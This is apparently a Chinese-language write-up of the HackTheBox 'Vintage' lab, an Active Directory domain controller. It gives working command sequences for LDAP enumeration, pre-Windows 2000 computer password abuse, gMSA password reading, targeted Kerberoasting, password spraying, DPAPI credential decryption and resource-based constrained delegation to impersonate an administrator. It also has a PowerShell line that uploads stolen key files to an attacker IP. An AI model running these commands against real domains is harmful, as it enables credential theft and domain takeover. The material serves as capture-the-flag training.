HTB-H-Vintage
HTB-Vintage
这个room讲的是一个DPAPI的凭证泄露+基于资源的约束委派+readgMSAPasswrod造成的密码泄露+
是个windows电脑,提前给了账户
- P.Rosa / Rosaisbest123
然后扫描一遍,判断是个域控
smb连接进行一下尝试
- smbclient -U ‘vintage.htb/P.Rosa%Rosaisbest123’ -L //DC01.vintage.htb- 报错,session setup failed: NT_STATUS_NOT_SUPPORTED
- 然后查看一下日志↓
 
- smbclient -U ‘vintage.htb/P.Rosa%Rosaisbest123’ -L //DC01.vintage.htb –debug-stdout -d 10- 是刚开始Kerberos验证没通过,ntlm验证应该是不支持
 
用nxc指定-k Kerberos验证可以
- nxc smb DC01.vintage.htb -d vintage.htb -u ‘P.Rosa’ -p ‘Rosaisbest123’ -k
- nxc smb DC01.vintage.htb -d vintage.htb -u ‘P.Rosa’ -p ‘Rosaisbest123’ -k –shares
用kali模拟域用户
参考
下载
- apt install -y heimdal-clients libsasl2-modules-gssapi-heimdal
- vim ./custom_krb5.conf
| 1 | [libdefaults] | 
- export KRB5_CONFIG=”$PWD/custom_krb5.conf”
- kinit P.Rosa
- klist
- export KRB5CCNAME=/tmp/krb5cc_0

然后开始信息收集
- ldapsearch -Q -Y GSSAPI -H ldap://dc01.vintage.htb -b ‘DC=VINTAGE,DC=HTB’ ‘(objectClass=user)’ | grep -i samaccountname- 列举用户
 
- ldapsearch -Q -Y GSSAPI -H ldap://dc01.vintage.htb -b ‘DC=VINTAGE,DC=HTB’ ‘(objectClass=computer)’ | grep -i samaccountname- 列举计算机
 
- ldapsearch -Q -Y GSSAPI -H ldap://dc01.vintage.htb -b ‘DC=VINTAGE,DC=HTB’ ‘(objectClass=group)’ | grep -i samaccountname- 在 dc01.vintage.htb域控制器上查询所有组,并从查询结果中提取包含samaccountname字段的信息
 
- 在 
- vim groups.txt- 然后把上遍的组写进去
 
- while read group ; do echo -e “${group}\n” ; ldapsearch -Q -Y GSSAPI -H ldap://dc01.vintage.htb -b ‘DC=VINTAGE,DC=HTB’ “(sAMAccountName=${group})” | grep ‘member: ‘ ; echo ‘’ ; done < groups.txt- 读取每个组来获取组成员
 
- nxc ldap DC01.vintage.htb -d ‘vintage.htb’ -u ‘P.Rosa’ -p ‘Rosaisbest123’ -k -M get-network -o ALL=true- 获取dns记录
 
- nxc smb DC01.vintage.htb -d vintage.htb -u ‘P.Rosa’ -p ‘Rosaisbest123’ -k –pass-pol- 密码组策略
 
PRE-WINDOWS 2000 COMPATIBLE ACCESS
| 1 | 如果一个计算机账户在 PRE-WINDOWS 2000 COMPATIBLE ACCESS 组中,这意味着计算机凭证通常是 DOMAIN.TLD\COMPUTER_NAME$:computer_name ,所以密码是计算机名的的小写形式。 | 
获取第二个票据
利用
- pipx install git+https://github.com/garrettfoster13/pre2k - 这个工具自动发现具有 PRE-WINDOWS 2000凭证的计算机
 
- 这个工具自动发现具有 
- pre2k unauth -d ‘vintage.htb’ -dc-ip ‘10.10.11.45’ -inputfile computers.txt -save - 环境放在myenv了,他会导出一个tgt
 
我们现在有一个有效的 TGT 用于* FS01$ 计算机账户
获取第三个票据
readgmsapasswrod权限
获取
在analyse的shortest paths上可以看到,这个domain computers有readgmsapasswrod权限

然后通过这个权限获取gMSA01的票据
- apt install -y bloodyad 
- KRB5CCNAME=’FS01$.ccache’ bloodyAD –host DC01.vintage.htb -k -d vintage.htb get object ‘GMSA01$’ –attr msDS-ManagedPassword 
- impacket-getTGT -dc-ip 10.10.11.45 -hashes :0ae29a5cdfa7d5b72464dc92ffeaa8d1 ‘vintage.htb/gMSA01$‘@DC01.vintage.htb - 生成票据
 
- mv ‘gMSA01$@DC01.vintage.htb.ccache’ gMSA01.ccache 
- chmod 600 gMSA01.ccache - klist和其他 Heimdal 二进制程序不会读取权限过于开放的票证
 

flag1+获取第4个票据
SERVICEMANAGERS组用户

获取一下源码targetedKerberoast.py
| 1 | 91 if TGT is None: | 
- KRB5CCNAME=gMSA01.ccache python3 targetedKerberoast/targetedKerberoast.py -k –no-pass -d vintage.htb –dc-host DC01.vintage.htb –dc-ip 10.10.11.45 - 查看hash
 
- KRB5CCNAME=gMSA01.ccache ldapsearch -Q -Y GSSAPI -H ldap://dc01.vintage.htb -b “OU=Pre-Migration,DC=vintage,DC=htb” “(CN=svc_ldap)” userAccountControl- 查看其他账户的uac
 
- 卡太久就重新生成一个票据
- 但是没出sql的hash- ↓因为在node那也能看到区别,有个enable-false,未启用的账户
- 使用与其它 sql_账户相同的 UAC 值启用sql_svc
 
| 1 | KRB5CCNAME=gMSA01.ccache ldapmodify -Q -Y GSSAPI -H ldap://dc01.vintage.htb << EOF | 
获取hash之后john一下,
然后可以发现有个密码重用()
| 1 | nxc ldap DC01.vintage.htb -d 'vintage.htb' -u ad_users.txt -p 'Zer0the0ne' --continue-on-success -k | 
然后就登录,凭证换一下
- export KRB5_CONFIG=”$PWD/custom_krb5.conf”
- kinit C.Neri- Zer0the0ne
 
- klist
- export KRB5CCNAME=/tmp/krb5cc_0
- evil-winrm -i DC01.vintage.htb -r vintage.htb -u ‘C.Neri’
获得flag1+C.NERI账户
DPAPI+获取第5个票据
前提
用户可能在以 C.Neri_adm 身份登录时执行了一些管理任务,因此在该机器上可能会有一些缓存的凭证
基础知识
应用程序调用 CryptProtectData() 来加密某些内容时:
1/DPAPI 为该项目生成一个随机密钥,称为会话密钥。会话密钥用于加密数据(密码等)。
2/ 该会话密钥随后使用用户的密钥加密。密钥是从用户的登录凭证或计算机账户的随机密码派生的。
3/ 最终输出包含加密的数据和加密的会话密钥。
操作
传文件参考
内容参考
列出转储凭证
| 1 | ls -r -h ~\AppData\Local\Microsoft\Credentials\ | select -expand fullname | 
列出转储的密钥
| 1 | ls -r -h ~\AppData\Roaming\Microsoft\Protect\ | select -expand fullname | 
然后传文件这4个文件
| 1 | [void](New-Object System.Net.WebClient).UploadFile('http://10.10.16.7/', "C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b") | 
或者
| 1 | [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\users\c.neri\appdata\roaming\microsoft\credentials\C4BB96844A5C9DD45D5B6A9859252BA6")) | 
解密一下,获得转储密钥的key
| 1 | impacket-dpapi masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password 'Zer0the0ne' | 
然后利用转储密钥的key去解密转储凭证
| 1 | impacket-dpapi credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a | 
- 在这里我传输过程中文件有损坏,换成base64就行
- Uncr4ck4bl3P4ssW0rd0312
现在是获取到了 C.NERI_ADM 账户的密码

基于资源的约束委派


- 设置委派对象属性(如 - msDS-AllowedToDelegateTo)之后,生效时间通常也是 0~15 分钟。
- 设置spn账户,单域是30秒以内,多域0-15分钟 
- unset KRB5CCNAME 
- kdestroy 
- export KRB5_CONFIG=”$PWD/custom_krb5.conf” 
- kinit C.Neri_adm 
- klist 
- export KRB5CCNAME=/tmp/krb5cc_0 
先生成俩要用的票据
| 1 | impacket-getTGT -dc-ip 10.129.119.165 'vintage.htb/C.Neri@DC01.vintage.htb' | 
改svc_ldap的密码
| 1 | KRB5CCNAME=C.Neri@DC01.vintage.htb.ccache net rpc user password svc_ldap --use-kerberos=required -S DC01.vintage.htb | 
加到约束委派的组里
- bloodyAD –host dc01.vintage.htb -d ‘vintage.htb’ -k add groupMember “DELEGATEDADMINS” “svc_sql”
创建spn
| 1 | KRB5CCNAME=C.Neri@DC01.vintage.htb.ccache ldapmodify -Q -Y GSSAPI -H ldap://dc01.vintage.htb << EOF | 
生成svc票据
- impacket-getTGT -dc-ip 10.10.11.45 ‘vintage.htb/svc_ldap‘@DC01.vintage.htb
最后生成模拟的票据
- KRB5CCNAME=svc_ldap@DC01.vintage.htb.ccache impacket-getST -k -no-pass -spn ‘HTTP/DC01.vintage.htb’ -impersonate ‘L.Bianchi_adm’ -dc-ip 10.10.11.45 ‘vintage.htb/svc_ldap‘@DC01.vintage.htb
用票据登录,验证
| 1 | KRB5CCNAME=L.Bianchi_adm@HTTP_DC01.vintage.htb@VINTAGE.HTB.ccache evil-winrm -i DC01.vintage.htb -r vintage.htb | 
